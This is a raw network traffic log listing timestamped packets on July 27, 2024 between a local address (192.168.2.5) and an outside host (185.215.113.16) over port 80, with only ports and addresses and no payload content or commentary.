Jul 27, 2024 12:01:22.358402967 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.358428001 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.358459949 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.358484983 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.358510971 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.358519077 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.358545065 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.358580112 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.358614922 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.358633995 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.358633995 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.358649015 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.358680964 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.358701944 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.358701944 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.358714104 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.358747959 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.358761072 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.358761072 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.358827114 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.358877897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.358911037 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.358923912 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.358923912 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.358944893 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.358980894 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.358989954 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.358989954 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.359038115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.359038115 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.359071970 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.359105110 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.359138012 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.359148979 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.359148979 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.359149933 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.359190941 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.359194040 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.359244108 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.359277964 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.359313011 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.359321117 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.359321117 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.359321117 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.359425068 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.359458923 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.359493017 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.359508038 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.359508038 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.359527111 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.359532118 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.359561920 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.359570980 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.359596014 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.359627962 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.359648943 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.359648943 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.359662056 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.359678030 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.359699965 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.359766960 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.359766960 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.359807968 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.359839916 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.359867096 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.359908104 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.359973907 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.359973907 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.359991074 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.360023022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.360055923 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.360065937 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.360065937 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.360088110 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.360121965 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.360153913 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.360188961 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.360197067 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.360197067 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.360197067 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.360197067 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.360222101 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.360244989 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.360255957 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.360289097 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.360330105 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.360330105 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.360330105 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.360471964 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.360523939 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.360555887 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.360584021 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.360588074 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.360619068 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.360621929 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.360654116 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.360687017 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.360719919 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.360722065 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.360722065 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.360804081 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.360836983 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.360871077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.360903025 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.360946894 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.360946894 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.360946894 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.360953093 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361010075 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361042976 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361063957 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.361093998 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361126900 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361140013 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.361140013 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.361140013 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.361160040 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361192942 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361226082 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361258984 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361268997 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.361268997 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.361268997 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.361268997 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.361290932 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361466885 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361499071 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361531019 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361543894 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.361543894 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.361543894 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.361565113 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361597061 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361630917 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361663103 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361670971 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.361670971 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.361696959 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361713886 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.361731052 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361762047 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361797094 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361804008 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.361804008 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.361829042 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361861944 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361890078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361903906 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.361903906 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.361903906 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.361923933 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.361960888 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362001896 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.362001896 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.362001896 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.362133980 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362164974 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362199068 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362232924 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362265110 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362297058 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362309933 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.362309933 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.362309933 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.362330914 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362363100 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362396002 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362428904 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362461090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362587929 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362616062 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362633944 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.362634897 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.362634897 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.362634897 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.362648964 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362683058 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362693071 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.362693071 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.362730026 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362737894 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.362763882 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362797022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362813950 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.362813950 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.362829924 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362852097 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.362864017 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362869978 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.362899065 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362931967 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.362951994 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.362951994 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.363178968 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.363212109 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.363223076 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.363223076 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.363245010 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.363265991 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.363277912 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.363312006 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.363344908 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.363378048 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.363400936 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.363400936 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.363410950 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.363444090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.363457918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.363457918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.363476992 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.363512039 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.363543987 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.363579035 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.363612890 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.363612890 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.363612890 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.363612890 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.445373058 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.445411921 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.445466995 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.445501089 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.445534945 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.445566893 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.445601940 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.445610046 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.445610046 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.445610046 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.445637941 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.445667028 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.445723057 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.445723057 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.445744991 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.445797920 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.445831060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.445843935 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.445843935 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.445864916 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.445930004 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.445931911 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.445931911 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.445966005 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.446002007 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.446059942 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.446059942 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.446059942 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.446125031 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.446160078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.446166039 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.446211100 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.446244001 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.446252108 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.446279049 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.446307898 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.446341991 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.446341991 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.446341991 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.446341991 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.446388006 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.446388960 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.446456909 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.446491003 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.446516991 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.446522951 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.446542978 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.446557045 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.446592093 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.446630001 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.446631908 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.446631908 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.446631908 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.446861029 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.507245064 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.507515907 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.507546902 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.507546902 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.507595062 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.507595062 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.507596970 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.507632017 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.507664919 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.507671118 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.507671118 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.507698059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.507730961 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.507781982 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.507814884 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.507848024 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.507863045 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.507863045 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.507863045 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.507878065 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.507930040 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.507931948 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.507960081 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.507992029 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.508025885 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.508058071 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.508106947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.508138895 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.508152008 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.508152008 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.508152008 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.508152008 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.508192062 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.508193970 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.508228064 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.508261919 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.508291006 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.508291006 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.508291006 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.508339882 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.508343935 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.508372068 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.508404016 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.508420944 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.508424997 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.508455038 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.508507013 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.508523941 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.508523941 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.508542061 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.508574009 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.508625031 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.508636951 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.508636951 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.508657932 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.508685112 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.508692026 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.508694887 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.508723974 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.508754015 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.508764029 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.508773088 CEST	80	49705	185.215.113.16	192.168.2.5
